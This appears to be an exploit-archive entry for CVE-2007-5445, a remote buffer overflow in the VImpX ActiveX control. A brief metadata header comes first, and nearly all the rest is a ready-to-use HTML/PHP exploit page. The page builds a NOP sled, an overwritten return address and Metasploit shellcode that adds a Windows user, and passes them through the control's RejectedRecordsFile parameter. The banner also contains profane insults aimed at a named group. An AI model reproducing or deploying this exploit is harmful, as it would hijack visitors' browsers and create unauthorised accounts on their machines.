VImpX ActiveX (VImpX.ocx v. 4.7.3.0) Remote

2007.10.14
Credit: Saw13
Risk: High
Local: No
Remote: Yes
CVE: CVE-2007-5445
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

> <!- > ************************************** > | VImpX ActiveX (VImpX.ocx v. 4.7.3.0) Remote > Buffer Overflows Exploit (RejectedRecordsFile) > | Code by 'Saw13' > | Software Site: > http://www.dbsoftlab.com/e107_plugins/content/content.php?content.53 > | Special Fuck to : Delta Hacking Security > Team--Farzad Sharifi- All Lashiayne Fucking MemberZ Special TANX : CrazyAngel - snake > *************************************** > -> > <html> > <object > classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' > id='VImpAX1'> > <?php > /* win32_adduser - PASS=tzu EXITFUNC=seh USER=sun > Size=483 Encoder=PexAlphaNum http://metasploit.com */ > $shellcode = > "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". > "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". > "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". > "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". > "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54". > "\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x38\x4e\x57". > "\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x48". > "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x38". > "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c". > "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e". > "\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x58". > "\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54". > "\x4b\x38\x4f\x35\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x51\x4b\x38". > "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x42\x46\x50\x43\x4c\x 41\x43". > "\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x33\x45\x48\x42\x4c\x4a\x57". > "\x4e\x50\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x37\x4e\x41\x4d\x4a". > "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b". > "\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x53". > "\x48\x4f\x42\x36\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47". > "\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x46\x4a\x49". > "\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x4d\x56". > "\x46\x36\x50\x32\x45\x46\x4a\x47\x45\x56\x42\x52\x4f\x52\x43\x36". > "\x42\x52\x50\x46\x45\x56\x46\x47\x42\x52\x45\x47\x43\x37\x45\x56". > "\x44\x57\x42\x42\x43\x57\x45\x47\x50\x56\x42\x52\x46\x47\x4c\x37". > "\x45\x47\x42\x52\x4f\x42\x41\x34\x46\x34\x46\x54\x42\x42\x48\x42". > "\x48\x32\x42\x52\x50\x46\x45\x36\x46\x57\x42\x52\x4e\x46\x4f\x36". > "\x43\x56\x41\x46\x4e\x36\x47\x56\x44\x47\x4f\x36\x45\x57\x42\x37". > "\x42\x52\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56\x49 \x36\x43\x37". > "\x46\x47\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37\x43\x37\x42\x52". > "\x43\x57\x45\x57\x50\x46\x42\x42\x4f\x32\x41\x34\x46\x54\x46\x54". > "\x42\x50\x5a"; > $junk = "\x45\x45\x45\x59"; > $eip = "\x2d\xd1\xe0\x77"; // call eax user32.dll > $exploit= > str_repeat("\x90",268).$eip.$junk."\x90\x90\x90\x0d\x01".str_repeat("\x9 0",16).$shellcode.str_repeat("\x90",9999); > echo "<param name=\"RejectedRecordsFile\" > value=\"$exploit\"/>"; > ?> > </object> > </html>


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